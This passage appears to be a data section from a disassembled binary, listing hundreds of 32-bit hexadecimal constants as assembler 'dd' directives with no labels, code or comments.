		dd 1E6CC268h, 0BBC6D060h, 59835F04h, 0F00EBCCh,	0CE0C7444h
		dd 0A5001AB8h, 0C758193Bh, 9EF2BACh, 0F29D1CBCh, 0FFE79F80h
		dd 222644DCh, 4D003455h, 6A5EE09Fh, 0D13D12E2h,	8A3822E9h
		dd 0DCFA18C4h, 32B3E700h, 4107735h, 143AFC38h, 74C11CA8h
		dd 180AA28h, 2DB27657h,	50588AE3h, 36A6A9B4h, 801A0F3Bh
		dd 1BE60913h, 0F2AEF2F6h, 11F49955h, 1612002Ch,	66447DC4h
		dd 0D2A8001Dh, 73463BA3h, 0B6000D17h, 0FFB99EF5h, 9A5CB3h
		dd 454053BBh, 44271189h, 74A40648h, 0D0DCE655h,	0B202F513h
		dd 0A14E09BBh, 0EEF4602Ch, 0C080F771h, 17411DC7h, 6F064ADAh
		dd 32A3BA12h, 19B318B9h, 0AEE349E5h, 88BF52h, 12024ABCh
		dd 0B30597h, 51E922DBh,	8AEF603Fh, 1229B960h, 864AEBh
		dd 5B6EC2E0h, 0BF573E2h, 7321DA6Fh, 0D7510E00h,	48F30887h
		dd 7380147Dh, 0D81B81Fh, 42186B1Ch, 3C02AE40h, 14830CD2h
		dd 1807CFD6h, 0E2501F96h, 0BE00B0B9h, 9F91CD1Ch, 8C080EFDh
		dd 9404494h, 2FCC1766h,	0AC0EA900h, 16F95641h, 44A74D73h
		dd 0D8434007h, 0E2D26149h, 5116EFC8h, 0FC2023B3h, 1238C9B9h
		dd 0FF440339h, 20BFDA00h, 2437E1D3h, 814CCA59h,	32E9DA31h
		dd 0E3EFEC13h, 53726401h, 40D1034Dh, 1A2BBE0h, 0E95980B1h
		dd 0EB9CBC2Fh, 229FDEC1h, 35B600D0h, 9A4E978Bh,	0F05A4CE8h
		dd 5921EE31h, 0A9698FCDh, 5FA12047h, 38918E03h,	8B0BDBA3h
		dd 470049F9h, 0B2813752h, 79531912h, 92C67C0Bh,	9C62802Ch
		dd 0DB6561h, 0F54085CAh, 1E26E4EDh, 8FC24E00h, 8B0B5763h
		dd 0FF79D2AEh, 9B789118h, 6AC9004Ch, 11AFA3BDh,	372CDA20h
		dd 104040C0h, 3AD89F66h, 9EA66042h, 874D852Ch, 1B4AC07Ah
		dd 0D7073BA1h, 0A4F24E69h, 94B0DC81h, 55E24180h, 0C0793911h
		dd 7AF34D01h, 0EF7F502Ch, 0E5F81031h, 8C13483Eh, 8C01D14h
		dd 1452F314h, 8C6DBB09h, 85BC558Fh, 0D0B50BE1h,	7F63EC30h
		dd 0D2F51412h, 68C410h,	5306B54Ah, 486B94Ch, 3F8B4E8Ah
		dd 0BE801F9Ch, 0BDB71044h, 9E3E1F65h, 51BE3D2Dh, 0EAD25600h
		dd 0DF10A31Bh, 787B8600h, 0F39E6EE0h, 30974174h, 8B036CC0h
		dd 0AC44BC9Fh, 0AA58013Eh, 75B67FADh, 720034C1h, 4254C6E4h
		dd 0B503FED0h, 8ACA4373h, 0A56C0BCh, 73538CBh, 8C711014h
		dd 7B330804h, 856B00BFh
		dd 8A4B5578h, 208C0808h, 6F861814h, 74D5613Dh, 0EA180F1h
		dd 0BF10F87Fh, 3C9000Dh, 1299F763h, 0E1039E43h,	0AF5FBCE6h
		dd 6C80AD60h, 99E407B3h, 0E2F51F10h, 0C822A62Eh, 0A0081B69h
		dd 31204CDh, 7E624042h,	793DA178h, 8D3C0029h, 80B768A7h
		dd 0C160C7A0h, 0D27A8486h, 70E49D3Ch, 5A5912FFh, 0A93E1F50h
		dd 49FD897Dh, 97B56102h, 0F63F7CE0h, 1D8C6C88h,	405FBE1Dh
		dd 0B1C31EE0h, 64049778h, 622B2A4h, 0AF22D0E2h,	0F0C0AD00h
		dd 9F8421FAh, 0E5CD0011h, 7DB301Bh, 54137AE6h, 0F4314FF8h
		dd 6CF8275Bh, 193E0404h, 81B697E2h, 40780DF6h, 0BE1B87FCh
		dd 6541BA00h, 4A74F2A1h, 996B5C6Eh, 7C05AE3Ch, 0C06A64DDh
		dd 0DB9A5F84h, 93CF1C02h, 4086BCABh, 88EF1B54h,	0E03C8966h
		dd 3401F20Ah, 0E4648288h, 0B5E8A31Ch, 9D380018h, 40BB1D63h
		dd 6C009C70h, 0EDB64AABh, 0A2D7A0h, 29EF9B57h, 7F4FF2A8h
		dd 3F706C01h, 398CBF1Ch, 9D29A20h, 8A168B41h, 68C28448h
		dd 0B2DD2A01h, 0E9D34CAEh, 0B1A66C70h, 0C0DC130Ch, 0C870F08h
		dd 12DB7B00h, 9783454Dh, 6FF3004Bh, 0B9D2E610h,	0AD48DC63h
		dd 24D8718h, 7257AC82h,	18A14488h, 0BAB41F00h, 7AABF5E4h
		dd 0FBF9003Ah, 7F78497h, 52009481h, 0D26ECE12h,	1D6C9Dh
		dd 7E40EABAh, 5950F310h, 0A3E6C002h, 0E0D7C784h, 882F68F8h
		dd 657C76B4h, 8E3D111Eh, 891219C0h, 7D75B14Dh, 4C5898A0h
		dd 5800C58h, 6386E4A9h,	440984B9h, 0E1B06BD8h, 19817267h
		dd 0A7AD6A62h, 8074D063h, 0A9401096h, 282C0260h, 1DC6910Fh
		dd 0C048FB4Ch, 0FDC21F69h, 949A7Eh, 74922D40h, 0C4733C3Dh
		dd 0A008C328h, 80EBCBD8h, 0FA00681Bh, 148BFCECh, 0F1CA13Bh
		dd 0D4EAA034h, 7CDDCAE0h, 305FD526h, 9D00FAACh,	217A76F5h
		dd 10D32EB2h, 64C59092h, 0C7E238h, 23AE3577h, 59B909CDh
		dd 0F85CA676h, 456A0BFEh, 0BBBC9033h, 392D63C5h, 84F0FDB3h
		dd 14016202h, 0C3DCD34Dh, 20A24CA1h, 0CA2412A8h, 1A0888F3h
		dd 3B2EAA00h, 0AED608E8h, 91E06422h, 931C804Ch,	60F97D6Eh
		dd 0E14A63A3h, 66C75009h, 414425E8h, 1E9C8C2Ah,	933A1F7Ah
		dd 0FB14C1D3h, 1359063Ch, 24A9ADE3h, 2DA42020h,	0CF3D37AFh
		dd 0CE8D8038h, 0E74CDB06h, 5F4B0021h, 3CFC6DE6h, 660A0A49h
		dd 2856EA90h, 0E273ED04h, 1D2710F7h, 3D70E014h,	0A48BED05h
		dd 21C0D6C6h, 0E1A7Ah, 2DB26EFAh, 314037FFh, 117AEEE0h
		dd 6422704Fh, 10AD045Ah, 42763EC0h, 6D004322h, 84B955E4h
		dd 3A8E2Ah, 0AB5213BFh,	285B9612h, 1CB37214h, 424D8EF8h
		dd 48D66278h, 88466A60h, 0D29082D5h, 32855101h,	0CF65D8CBh
		dd 0CA33C841h, 882CFC4Ch, 1E0123E0h, 0BE117E91h, 12C8706Dh
		dd 0B8FC774Eh, 10C94ECh, 44BD6E6Fh, 5F8180E4h, 31E0CACFh
		dd 0A4700A6h, 23F08B7Fh, 7900AA9Eh, 379F5715h, 0A42A6687h
		dd 9A3921F4h, 5E2CAC24h, 34070828h, 0E930BCE3h,	0F2C4BE80h
		dd 49EF606Bh, 9A76DA4Dh, 0E100D475h, 9499B709h,	0F04F4Bh
		dd 0A06E8A46h, 0C2AC01C9h, 578BB41Fh, 17A14A80h, 0B48671F9h
		dd 5E4940A4h, 6D00D126h, 1FE2FAEEh, 1D56677Ah, 8002868Bh
		dd 53B84263h, 1000DCB5h, 3F415CE8h, 383813ACh, 99806DB0h
		dd 470545B6h, 0F3F26E8Fh, 0B10BCF98h, 644C73B4h, 4557008Ch
		dd 0BD7BFFFAh, 7452E9B9h, 163200BCh, 0C867F0FEh, 7F840044h
		dd 86823DFh, 4A75483Fh,	0D501D105h, 38A26E3Ah, 205B487Eh
		dd 677F8500h, 0ABBB9E4Eh, 86010B73h, 0BD73C909h, 12F05EEBh
		dd 68349E6Eh, 0ED06003Ch, 0D3FC5538h, 857DA30Fh, 88AE279Ah
		dd 8BBF0200h, 29D9090h,	7DB1557Fh, 0FCA1F4A0h, 0CC5CAB1Dh
		dd 0EC802EAEh, 0A07C01B0h, 0B79E466Bh, 0A5F048C5h, 8A09A707h
		dd 31F87D6h, 0BD28B0Dh,	8A03980h, 0B24344CEh, 21658617h
		dd 0D2AF8A68h, 90E42420h, 25EF1F66h, 854F0F79h,	0DADC89BDh
		dd 0C5823800h, 0D0B84668h, 8048A358h, 0F8F23D8Eh, 245F4E53h
		dd 0D5600B0Ch, 0DCBBCC00h, 1A00BCB7h, 46278301h, 0EAD2678h
		dd 12BE4E50h, 74AF385h,	4BA740Ch, 1FF0E268h, 44C26DA8h
		dd 0E26F734Fh, 0D80803D4h, 0E93CE7A5h, 7110095h, 466E2FE5h
		dd 0BA00536Ah, 0B24187C0h, 39D811Ah, 540A26BCh,	0C103C1B5h
		dd 734C7239h, 0D816C050h, 6A230B49h, 0C8809357h, 0EBD4D644h
		dd 41165CB1h, 488C9Ch, 0D0C94329h, 793E1C50h, 4226D304h
		dd 74B624E5h, 0B9D19F30h, 8D025D3Ah, 0EAC3F38Ah, 0B945A32h
		dd 74C65405h, 0A898EC87h, 73BC1062h, 8DA200B4h,	82CA43B5h
		dd 4BEF4E00h, 5A9E91DEh, 45D40DB3h, 2C71B440h, 2FC78170h
		dd 0F07B2D05h, 0B701BE89h, 6A874839h, 0D84CBCD6h, 15474C4h
		dd 0E20BF221h, 79A3BE22h, 80BC3838h, 3B8A4D1h, 8FEA49h
		dd 4684BD1Eh, 0E15ADF88h, 28F02448h, 9E02A0B5h,	0AE7CF8D6h
		dd 0ABA8C0A8h, 0E07F00FDh, 10D8CFA2h, 10C0C673h, 3F6D6502h
		dd 84860037h, 14B24E20h, 7819A7F1h, 0E5C9EA40h,	2E7D3E10h
		dd 0D323C400h, 36609395h, 3809589Eh, 8B5A4010h,	1E0C026Fh
		dd 588478D9h, 4A80C0C4h, 60E1F02Eh, 57220E00h, 4E5E330Ch
		dd 40594AD2h, 0CDAB2AF0h, 5602D069h, 915F037h, 0EE760F4h
		dd 4044B645h, 26DB4AB5h, 3C6D40C0h, 5C441281h, 4CD0BCh
		dd 0EDE065A2h, 0FE37DD86h, 49C0D944h, 0C7C710Bh, 8774D329h
		dd 9500D139h, 83A932Bh,	1B0070Ah, 1DF1B73Bh, 60C256C3h
		dd 28CD9D8h, 22E19A4Ch,	50D1D39Ch, 9AC3002Ch, 7C3849D6h
		dd 0D98602F5h, 0CCC226BEh, 3B3954E0h, 8B8C18A7h, 0BA19ADh
		dd 0F5BBFDC7h, 578A73FFh, 0E5B5DE00h, 0A6399181h, 3A99027Eh
		dd 9A7A7528h, 166DAC48h, 27D5BF40h, 4C9856AEh, 0A5001247h
		dd 1D8E98A9h, 87FE62h, 27DA1BE6h, 0B6FC9B6Ah, 0C284D4Fh
		dd 0B3A04014h, 4021205Fh, 443D0569h, 82C01C48h,	0AE1BB697h
		dd 4C362600h, 0DCB7BB25h, 622B0189h, 2FF2EC53h,	0AA5FD823h
		dd 41210C9Ah, 476308CBh, 8C40B944h, 765EAAE5h, 0EF491B1Ch
		dd 27503140h, 5AE18h, 0D59CC783h, 42137CF3h, 708B8824h
		dd 0D176B160h, 0E98900F2h, 0B36DEF6Eh, 0D4090FD7h, 8074B520h
		dd 0B7E83F60h, 0C6FB005Eh, 5F407DF3h, 461E12BDh, 4E471BBCh
		dd 9B08C3Ah, 4BD5F585h,	0B7144074h, 0A23799E3h,	0E862441Bh
		dd 7FD63EB0h, 4AF840CAh, 0FBF11369h, 112DEF00h,	0B983B8DFh
		dd 44390ED8h, 90B34556h, 7766BB28h, 0FB860902h,	50BD0329h
		dd 4B460048h, 5C5E6CF3h, 0BC0437D3h, 14EF8466h,	55DBB480h
		dd 59A618F4h, 113D49A2h, 2D4A2F00h, 63BB52B3h, 0DCD224A4h
		dd 0ED02023Fh, 84C26013h, 389868ECh, 0DDB2C48Bh, 0F619A0A0h
		dd 220EA5A4h, 80FAAF64h, 0D51DEF7Fh, 0B9072E67h, 0B31120h
		dd 346D5B41h, 0E47CF0h,	0F62E26CFh, 0F4AC4C82h,	45130B12h
		dd 65EE1420h, 2F8F009Ch, 0E9D2C37Fh, 81380272h,	0D07580DCh
		dd 10F61812h, 408F1366h, 18443761h, 0D74E0101h,	202B087Fh
		dd 18A9F39Ch, 8C596600h, 0D994F62Ah, 0E4DE00F4h, 6026FC67h
		dd 0C9507F97h, 0AB171AD0h, 78881D5Bh, 4484BCF2h, 0D2F8841Eh
		dd 9A2473F0h, 3AFB14D1h, 0D0041305h, 1EA43E84h,	0C8982C00h
		dd 0B10C9454h, 200E02B7h, 960B40A9h, 6F63E080h,	4832D3ACh
		dd 54E46097h, 0B9F07010h, 99008EEEh, 13DEEB1Eh,	1C14D72h
		dd 0AB1F80FAh, 73A81D5Ah, 777A206Ch, 9220516h, 0B21EB34Eh
		dd 4CA30C18h, 9678588Fh
		dd 0ED9D87A0h, 7ACB3035h, 7600ADA6h, 0FA142716h, 5E7F371Eh
		dd 0BC4C2C5Fh, 0EEE37188h, 0ABBF661h, 1CEBFF4Dh, 0B2AF01C8h
		dd 0E0C546FBh, 0E71D41AAh, 524EE0E6h, 509337B9h, 6D75E89Eh
		dd 0BA3F2A45h, 1E9700B8h, 4F8182DBh, 622DBCFDh,	0B9B02056h
		dd 9153BA98h, 3BC78034h, 0FE2FAEF2h, 341CD87Eh,	5C8037FAh
		dd 0BEB81F65h, 6628DD96h, 0C044259Ah, 0DC2C8300h, 4B702B59h
		dd 0E4C90185h, 450C4EFAh, 229C2D91h, 0AE220344h, 7E6EC859h
		dd 0B9D1BAF8h, 0C11BCB00h, 8D6DBB8Ah, 50717Bh, 4D7C06FDh
		dd 0F2B70B01h, 934B7100h, 8420A96Dh, 943890D5h,	0D3869C44h
		dd 9D20882Dh, 0E81E7388h, 0BB800B55h, 0D80B9E3Eh, 5037F000h
		dd 0C00BCB0h, 19C752B6h, 16174AEEh, 177B0E15h, 526420C4h
		dd 3E04B4BFh, 1974CFDFh, 0AC0300F2h, 3337CB6Fh,	0CD0A61A8h
		dd 297B8007h, 0B20E3BAh, 18CE433Dh, 0B8DC8902h,	0C90BD271h
		dd 862B4FAh, 3C0A0854h,	0DB09145Bh, 2DA4E4C3h, 0D0196074h
		dd 84C60C20h, 80234D21h, 6D7F0AD5h, 342EB07Ah, 440B78D4h
		dd 0DC14C017h, 9C1CAAB1h, 3CD50048h, 0CA372D44h, 0D2264DF3h
		dd 79478074h, 24E736D0h, 2A570FF5h, 3929ED42h, 86277C72h
		dd 0D29CA06Ah, 2BD24F1h, 0E9237AC3h, 4E64151h, 8048C558h
		dd 5A88B886h, 0FA8D3F59h, 0F965488Eh, 81B33684h, 293C446Ch
		dd 0DF884C70h, 0DD2CC340h, 0E206322Eh, 9F2105F4h, 1E31F6FAh
		dd 35973BFFh, 0F9CCD21Ch, 9A3CE029h, 887E0236h,	6503A79Ch
		dd 80840887h, 0B70A48FBh, 6F402CBCh, 5AA3F612h,	8968482Ah
		dd 19464280h, 0FE13EB8h, 2B0B6574h, 1D339440h, 9500AFDEh
		dd 3A4DF2A1h, 3C26E6Dh,	422EC15Bh, 61D9DDA8h, 3D0CF814h
		dd 9D524400h, 0C7CF6F40h, 97AE7F0Dh, 0A484D818h, 0A032C309h
		dd 0F5C86108h, 5E026C69h, 16BF559Eh, 9C6E87E0h,	0F9CB0C07h
		dd 0B5E03D25h, 749715A3h, 0A0E3530Eh, 7433BA00h, 0B26713DAh
		dd 4F98C600h, 61DFDDE6h, 261C7DAFh, 142432h, 80E5612h
		dd 630A52F3h, 949A8C29h, 87A283Ch, 14A81C28h, 7232D200h
		dd 0A010B44Bh, 64ACBE4Dh, 0E0E26274h, 80C231ACh, 72583317h
		dd 67E95054h, 0B6E41CBCh, 0BCA7ECB0h, 889E901Ch, 12B580A1h
		dd 366D5E5Fh, 1DB28105h, 90F0A4A3h, 0DDCA882Ah,	7B35F200h
		dd 0FF0CED44h, 9CE8BC80h, 0B6D7949Ch, 0E2641212h, 7C645430h
		dd 0E0C8144Eh, 0A2750013h, 0BB60BE2Ch, 5B00F98Fh, 6330822h
		dd 0BB36E35h, 5A5896Bh,	0B9188882h, 509408A2h, 0CB001079h
		dd 0F4609656h, 0B828CC8Dh, 450B4119h, 818CEEB4h, 5D407BC8h
		dd 0A04F0842h, 8D272120h, 118F783Bh, 7BDA66Dh, 0E1087839h
		dd 54A01B91h, 5CE72470h, 0DC139CADh, 490420AAh,	8C9EC602h
		dd 544CBE40h, 96B100F7h, 488BE25Dh, 700E034h, 59F86BADh
		dd 300A1CEFh, 88698011h, 0C401FA08h, 3A706CBBh,	3424E744h
		dd 45E40073h, 5BFE109Fh, 530018F9h, 0E94DB6A8h,	1E0C32E1h
		dd 1CF4CEBBh, 8BA8EC8Bh, 0B4181FB2h, 0B0B0250Ah, 39DB3481h
		dd 6C0C748Ch, 78E97367h, 1CD10389h, 96BA03D0h, 43E5D2D0h
		dd 0DE457898h, 6700E463h, 496DFDF0h, 771E4352h,	7E00BF7Ch
		dd 0E706213Dh, 0BAF4001Ch, 9D0BB0B3h, 0BC001D6Ah, 343A410Fh
		dd 3C3F83FCh, 387ED9ACh, 7380D4BBh, 0DA67D24Ch,	0CA0128B6h
		dd 0E0815FBDh, 7475C644h, 88B0E860h, 0CA00ADB7h, 0AFF16DD5h
		dd 57A003h, 33E96649h, 0BBDCAE37h, 1D51A3Ah, 109B4CBCh
		dd 0CAC34E41h, 0BD24D939h, 8E442A5h, 0B8653E40h, 1B730058h
		dd 0EA7FBDF3h, 0AD30BE36h, 4337E04Fh, 1CC100FAh, 11862FBCh
		dd 4600F2E3h, 7A783C90h, 25D5F785h, 14E521AEh, 0A541D100h
		dd 1E2F6D79h, 40717DAFh, 880A05B3h, 0EC9EECB8h,	2C20DA92h
		dd 2EE86BC1h, 11F8EA3Dh, 40205E49h, 9BAD506h, 4D2C17BEh
		dd 0ED42DC50h, 5AAEDB38h, 6A330A23h, 20681280h,	0C99F9CF4h
		dd 467FAD27h, 874D17A4h, 5E88961h, 63E8B489h, 100D1284h
		dd 0DD903083h, 7B032B8Fh, 0C6134A72h, 0A3290040h, 397A90BEh
		dd 790061E2h, 65D77C71h, 12C2C83Eh, 8251601h, 2280479Ch
		dd 73D5B179h, 56302F1h,	0CD34F09h, 0E15BEC60h, 14BBFC00h
		dd 55EB7906h, 871900A1h, 4A7CF3EFh, 84036E8Eh, 50959BAAh
		dd 698B841h, 5E70A7Fh, 25A0E3A1h, 5900E014h, 2DEBE1F9h
		dd 9850040Fh, 0C8B64B67h, 15007060h, 0BBE4A906h, 4ABCB5h
		dd 0A17E13Ch, 8CD3FC90h, 71FE931Dh, 0E9F604FAh,	38FC1FAEh
		dd 0EE7191A0h, 9F5B191Fh, 15760C0h, 0FF013BDh, 0A76AFCFBh
		dd 0B2EC1CE5h, 0F0009238h, 56EF857Bh, 34AE1D81h, 0FE66B5h
		dd 4FCFB30Eh, 80B8F858h, 5BA04402h, 424D8245h, 0F2F41854h
		dd 22E55EC9h, 0FD20DE38h, 137AA1Bh, 7C9261A6h, 0CCC185F2h
		dd 6473FE59h, 3F456713h, 0DBBB94D0h, 1C99C4h, 7CF1A641h
		dd 4D28A411h, 0D72C580Ah, 7C4AB09Fh, 84707E67h,	75D99E5h
		dd 8228BE41h, 4971909Eh, 29D39BC4h, 5B86B0F0h, 322C2169h
		dd 0BF602075h, 0C84AAD24h, 0DBEDCF80h, 0E8FD4B13h, 10C86056h
		dd 0DF0CF484h, 11618625h, 310C3C64h, 3B8C714Ch,	0EF4400Bh
		dd 68871736h, 2D8A3179h, 82B902D8h, 40D345E1h, 3A20338h
		dd 487C7ED4h, 0BAB87BA8h, 0D512ED0Bh, 0BC0B560Dh, 1BB00BDCh
		dd 0AED7C0DCh, 7F3E2445h, 317486C8h, 13448088h,	10C0CB9h
		dd 0B7280A97h, 374BC08Bh, 0DC960C94h, 0B391C8AEh, 0F4B0909Fh
		dd 9A6422FBh, 0C8BD9C02h, 53E122BCh, 34C0010h, 0D9BB56AFh
		dd 55796704h, 6287B1DEh, 0D82FF203h, 1C7D9Fh, 3E3997B9h
		dd 0BE4F1255h, 0D5905662h, 0D94403EBh, 8226513Ah, 165EC1E2h
		dd 0C8DB8052h, 0F2E8EB9Eh, 1ACB0040h, 3102A356h, 1F32AF92h
		dd 64C5E908h, 4B800008h, 231950B0h, 89008A13h, 702A2E26h
		dd 27EF1A77h, 0B86EC659h, 73E180BEh, 4422F2DCh,	1A2CE13Ch
		dd 28803D28h, 0CB1CD44Eh, 4603D326h, 6C7BF320h,	0E0E5AB2Ch
		dd 4262C3h, 48AB67EEh, 0E48A65B6h, 0FA8E8891h, 0E6F28053h
		dd 4CCACFBCh, 0C05050EAh, 44D70448h, 0F8D58B7Ah, 585F8014h
		dd 98A722DBh, 6C645C04h, 0C434CC0h, 8E011105h, 0F616A282h
		dd 1CDC568Bh, 0B5542796h, 60740411h, 45124950h,	0EC987286h
		dd 1CA400DAh, 6F736968h, 7100A5F7h, 0F2467683h,	2107B33h
		dd 2F24AC64h, 0F60B2C7h, 2528718Dh, 0B7B0CB67h,	1C3EB4F2h
		dd 1F7F01F3h, 55AD2E46h, 0B0B4CE0h, 138CC1E1h, 82D05C98h
		dd 1C00AF7Eh, 258BF419h, 43DF04h, 90026FF9h, 0C7520332h
		dd 0D5C0FE54h, 5872A44Bh, 841C4A33h, 0B8A1B3E8h, 734C723Ah
		dd 0E6789E21h, 48680C41h, 0F3C2E839h, 0F28592EFh, 7E9C000Bh
		dd 831D8F84h, 0D6D3E405h, 0B8829D39h, 450850D4h, 7BFBC0BAh
		dd 4E1FC800h, 871DA140h, 3046516Bh, 0D0441400h,	0EE8F5C1Ch
		dd 0D69F7200h, 0B1199208h, 0C0E09D4Ch, 63F6A1CCh, 11AA003Dh
		dd 87518474h, 94005610h, 0C7A9C82Eh, 126B69F3h,	0F4FF20B2h
		dd 0F201B59Ch, 0AF08180Ch, 0AEC4D32Eh, 0CC11B723h, 841D0CF5h
		dd 91DF652Fh, 0DE10A328h, 1D0343FBh, 0A2674415h, 32D29840h
		dd 0F495B588h, 0A53B4506h, 4CBB0049h, 0E55464D3h, 0BC038E71h
		dd 0F408B917h, 3B7D8086h, 98BFE0EFh, 46D900E4h,	0DD896E8Bh
		dd 19002EF2h, 0F53C6B42h, 0A6656EBh, 6E86C67Ah,	757E61E8h
		dd 4D837BAh, 22DC396Bh,	88EF60E4h, 3B12674Ah, 48004CB3h
		dd 0CC964802h, 0D3C83B21h
		dd 0AA7D813h, 808CFF44h, 68F24D70h, 0DD00B6B5h,	0D30266B2h
		dd 0FC6509ECh, 578D0339h, 0F61572AAh, 0F97312E8h, 1A555801h
		dd 944B6BE9h, 3C4E3CBh,	0E7EA0CD8h, 14901280h, 8758B1DCh
		dd 500B84B8h, 0FC0934A2h, 9C00A1D2h, 0F7DB9065h, 4BEE9307h
		dd 0B0700A96h, 246CBCABh, 0B60D179h, 70C4BE9Fh,	2EDAF400h
		dd 0E139CA8Ah, 0D0C56ED7h, 20484C91h, 4CFB44A9h, 33A7C900h
		dd 0D978EE06h, 80362C4Dh, 224F1250h, 9C7274B8h,	9DBB3Bh
		dd 0B93D7E4Ah, 0B298F20h, 4E6B96BFh, 0C12B6C10h, 0C000B295h
		dd 0DDDFFAh, 43262946h,	0CDC2AB83h, 531F110Bh, 4D528019h
		dd 1BD5CC8h, 80C3374Ah,	3B5DB1E3h, 0A6D8F846h, 869344C8h
		dd 4422675Bh, 8C84DEA5h, 0DBA9E827h, 94CCB14Fh,	28A9016Dh
		dd 0E131AE24h, 0C364CCBDh, 11E1FCB0h, 276A3D44h, 7941F8ECh
		dd 202231EFh, 0F01DED3Dh, 82834h, 559CD782h, 0C11AA4D8h
		dd 0C090304Eh, 410D6C0Bh, 3CC9E99Ah, 8CD886E0h,	38EB50B0h
		dd 9D088469h, 93E423B2h, 0D0A2E3h, 49AC0EA6h, 0DE6DE6h
		dd 40224EF2h, 0C45CD8ABh, 8F4B2A00h, 0B986B81Fh, 99630B95h
		dd 8EFF578Eh, 609F4920h, 270C90h, 49AB9123h, 0D7B44CB7h
		dd 0C870663Ah, 0D39B0698h, 7AE10774h, 8089C744h, 0E881937Ch
		dd 0E256FE8h, 0FC0FBF07h, 0E63B1DAEh, 3CD50154h, 0F197203Fh
		dd 53C82099h, 0D3C02E04h, 74CC30D4h, 7A398846h,	77726900h
		dd 0CDFA6B62h, 117D143Ch, 6027C8Bh, 8F7C17A6h, 299D9460h
		dd 0D4E9D02Eh, 55605A00h, 259896E0h, 1CA04245h,	0C8B44ABBh
		dd 14DF100h, 0A213C6DAh, 0CC2251D1h, 6D035866h,	0BBCEF3A1h
		dd 2093D5F1h, 0D188B1C4h, 0A417007Dh, 3E02EFA2h, 1F003481h
		dd 500136A9h, 4B717B06h, 21AC8A1Eh, 4400A774h, 7FABF5BBh
		dd 62D9AE05h, 0B702BCECh, 0FA6086A2h, 0ABB3078Ch, 0D2EBDA83h
		dd 0BCD806C3h, 32170C96h, 0A0ED40D0h, 579A09D6h, 0CC093445h
		dd 0E2036053h, 0F8CA96DFh, 58E9D5B8h, 843EAE65h, 9E22EC4Ch
		dd 9D1CCD00h, 0C95AD645h, 109697BDh, 31ADF241h,	0E344F848h
		dd 800969CFh, 9D1A6822h, 0E03A0E41h, 78A142E5h,	44A84090h
		dd 116021B0h, 0C67F1172h, 0BA22EC28h, 0BD2EB300h, 4E8E330Ch
		dd 898001C7h, 86BC4417h, 880C3865h, 216E6439h, 0F02048E6h
		dd 7F6338A2h, 0BD471400h, 31DACE01h, 692F5400h,	0BF64780Ah
		dd 4E0800DFh, 0E11F94B5h, 8800A093h, 4D0F6811h,	74EA840Ch
		dd 5C3D028Bh, 2DCD8B2h,	0FF00B0E6h, 117E8EE1h, 0F47E4AFh
		dd 2DEDCD8Dh, 620468C0h, 8BB7C4B7h, 0F09C9834h,	43E12CCFh
		dd 1D8A40C0h, 9200BA98h, 0C56D6F5Ch, 0E47DB4DEh, 51D202FEh
		dd 5AED943h, 849068E4h,	0A0013CB9h, 0D2623DB2h,	735630C0h
		dd 0FE310038h, 0C02F087Fh, 3907D087h, 521455B5h, 85842479h
		dd 4800EC4h, 5FD2DAC1h,	0AD7C4074h, 5C531BBAh, 0CB4FFE00h
		dd 99159C9Ah, 3D170244h, 3187C38Dh, 8604A8D1h, 0ACD0186Dh
		dd 4DD04044h, 0A0CB14EBh, 0DBFE2E00h, 21002D26h, 963EBEE1h
		dd 4B14B692h, 3C4C9045h, 0EE0470C5h, 8974E984h,	0C002E143h
		dd 6B163DC8h, 77787FE2h, 0B091FA28h, 127C1820h,	0F2F66949h
		dd 0A89C001Ch, 0E36771B8h, 0C116009Dh, 0A2C9C0F7h, 0C281D38h
		dd 0AF0797B9h, 4E289A84h, 0CFB21030h, 16210202h, 0DBB95A4Bh
		dd 0FC689CD4h, 51002C11h, 9F3368C7h, 0CCA44503h, 7304907Eh
		dd 0D74CFC9Ah, 41E27CB8h, 0E24B3CFCh, 0C8B84048h, 4E740048h
		dd 0D8457ED2h, 0BD04EDCCh, 5AE0A05Fh, 61004CF2h, 6C0D7464h
		dd 0F0028FBh, 948AE632h, 0B5BDD9AFh, 0F9249400h, 1F48B34Eh
		dd 0C4C8030h, 2FEB0165h, 44213E44h, 3DAADBBCh, 0BBE21240h
		dd 8D837800h, 430D33Ah,	0ADBA0BF9h, 4B29Dh, 0F5296DDCh
		dd 0EC4D3A83h, 1EA60098h, 8AC27487h, 0C7AA3F1h,	1B4950C0h
		dd 6C3E8EB2h, 590F0D1h,	0F27244h, 0BF47C7Dh, 98B92131h
		dd 0C49DAE27h, 1874C8h,	0B411F69Ah, 10729CD5h, 0FCB0195Bh
		dd 0A18400D4h, 75C552E2h, 451A7471h, 60D84272h,	16796200h
		dd 1C1E058h, 0FA30C29Ch, 4C047E3Ah, 5949B3C4h, 0E2D44448h
		dd 737BE403h, 0EF8E669Eh, 0AB3884C9h, 0E51ADC91h, 76AAE311h
		dd 3C442820h, 0CB4FD5EAh, 882BC088h, 0ED039728h, 0F7ADB90Eh
		dd 86E0B8EEh, 0BDECB162h, 0BCAE58E2h, 7A974A20h, 85941623h
		dd 0DB088EAh, 0C3B9271Fh, 8F506494h, 0F5135EA6h, 0D14C0809h
		dd 291F00D8h, 4DFDF0D2h, 2A8D2200h, 79883125h, 4B217BEh
		dd 0AC400A55h, 6AD70268h, 94E8284Eh, 1D1746B4h,	4000DAFh
		dd 30BED305h, 0D415586Ah, 2C75F502h, 0C862F859h, 6EF32840h
		dd 90DE8625h, 162DCF98h, 0C6B1C2h, 0BD79C96Ch, 1058B761h
		dd 68372F78h, 98917D70h, 0E491B0F0h, 70BC1D3Fh,	0E54000B5h
		dd 32EE9AB9h, 1F0B6B00h, 4A919DEDh, 0A16E0F93h,	0F847C19Fh
		dd 5A4DF03Ch, 0EC0BCFE5h, 84C67Ah, 732E74ACh, 8463F7DDh
		dd 0B2E4E600h, 0E1A215C6h, 0B767C401h, 37DA1B5Dh, 0BD10FC2Ch
		dd 0BB6500C1h, 94EDA58Bh, 0AFF400F0h, 47E0D080h, 7A1208BCh
		dd 6C010324h, 0E44B30C6h, 821893h, 0BFA1743Fh, 634C32CEh
		dd 0F31E0050h, 8D537D8h, 0A8894823h, 0EBB8B402h, 0F1E17DA9h
		dd 9146805Dh, 3E6A9C9Eh, 0EAE90C5Fh, 28406DC8h,	10DA8620h
		dd 1D6A7330h, 19B0C761h, 0B86846B7h, 9089FC8Ch,	4776280Ch
		dd 62080BA4h, 8C80CCC5h, 0F1F265DDh, 46932700h,	0ACBF8BAEh
		dd 798500E3h, 0F92EA41Bh, 0E8CFBAF0h, 0E0829046h, 9F27D0F5h
		dd 9371C8h, 88DA200Dh, 0AC4046D9h, 0D0DB11EEh, 0E14DF2FDh
